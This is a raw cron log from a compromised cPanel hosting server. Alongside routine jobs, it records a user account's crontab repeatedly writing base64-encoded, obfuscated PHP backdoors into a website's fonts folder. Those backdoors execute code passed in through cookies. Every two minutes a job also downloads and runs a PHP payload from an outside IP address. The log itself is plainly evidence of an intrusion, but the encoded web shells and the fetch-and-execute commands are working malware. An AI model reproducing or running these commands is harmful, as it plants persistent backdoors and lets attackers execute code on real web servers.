Sep  5 14:12:01 ip-184-168-122-23 CROND[1770]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:13:01 ip-184-168-122-23 CROND[1860]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 14:13:01 ip-184-168-122-23 CROND[1862]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 14:13:01 ip-184-168-122-23 CROND[1865]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:13:01 ip-184-168-122-23 CROND[1863]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:14:01 ip-184-168-122-23 CROND[2013]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 14:14:01 ip-184-168-122-23 CROND[2014]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:14:01 ip-184-168-122-23 CROND[2015]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 14:14:01 ip-184-168-122-23 CROND[2017]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 14:14:01 ip-184-168-122-23 CROND[2016]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:15:01 ip-184-168-122-23 CROND[2124]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  5 14:15:01 ip-184-168-122-23 CROND[2126]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 14:15:01 ip-184-168-122-23 CROND[2127]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:15:01 ip-184-168-122-23 CROND[2128]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:15:01 ip-184-168-122-23 CROND[2130]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 14:15:01 ip-184-168-122-23 CROND[2131]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 14:15:01 ip-184-168-122-23 CROND[2129]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 14:16:01 ip-184-168-122-23 CROND[2255]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 14:16:01 ip-184-168-122-23 CROND[2257]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 14:16:01 ip-184-168-122-23 CROND[2258]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 14:16:01 ip-184-168-122-23 CROND[2259]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:16:01 ip-184-168-122-23 CROND[2260]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 14:16:01 ip-184-168-122-23 CROND[2261]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:17:01 ip-184-168-122-23 CROND[2350]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:17:01 ip-184-168-122-23 CROND[2351]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 14:17:01 ip-184-168-122-23 CROND[2352]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:17:01 ip-184-168-122-23 CROND[2353]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 14:18:01 ip-184-168-122-23 CROND[2439]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 14:18:02 ip-184-168-122-23 CROND[2441]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:18:02 ip-184-168-122-23 CROND[2442]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:18:02 ip-184-168-122-23 CROND[2443]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 14:18:02 ip-184-168-122-23 CROND[2444]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 14:19:01 ip-184-168-122-23 CROND[2525]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 14:19:01 ip-184-168-122-23 CROND[2526]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 14:19:01 ip-184-168-122-23 CROND[2527]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:19:01 ip-184-168-122-23 CROND[2529]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:20:01 ip-184-168-122-23 CROND[2615]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 14:20:01 ip-184-168-122-23 CROND[2620]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 14:20:01 ip-184-168-122-23 CROND[2618]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 14:20:01 ip-184-168-122-23 CROND[2617]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:20:01 ip-184-168-122-23 CROND[2616]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 14:20:01 ip-184-168-122-23 CROND[2619]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:20:01 ip-184-168-122-23 CROND[2623]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 14:20:01 ip-184-168-122-23 CROND[2621]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 14:20:01 ip-184-168-122-23 CROND[2622]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 14:21:01 ip-184-168-122-23 CROND[2809]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 14:21:01 ip-184-168-122-23 CROND[2812]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:21:01 ip-184-168-122-23 CROND[2810]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 14:21:01 ip-184-168-122-23 CROND[2811]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:22:01 ip-184-168-122-23 CROND[2898]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 14:22:01 ip-184-168-122-23 CROND[2897]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 14:22:01 ip-184-168-122-23 CROND[2896]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:22:01 ip-184-168-122-23 CROND[2899]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 14:22:01 ip-184-168-122-23 CROND[2900]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:23:01 ip-184-168-122-23 CROND[2980]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:23:01 ip-184-168-122-23 CROND[2981]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 14:23:01 ip-184-168-122-23 CROND[2982]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:23:01 ip-184-168-122-23 CROND[2983]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 14:24:01 ip-184-168-122-23 CROND[3090]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:24:01 ip-184-168-122-23 CROND[3091]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 14:24:01 ip-184-168-122-23 CROND[3093]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:24:01 ip-184-168-122-23 CROND[3094]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 14:24:01 ip-184-168-122-23 CROND[3092]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
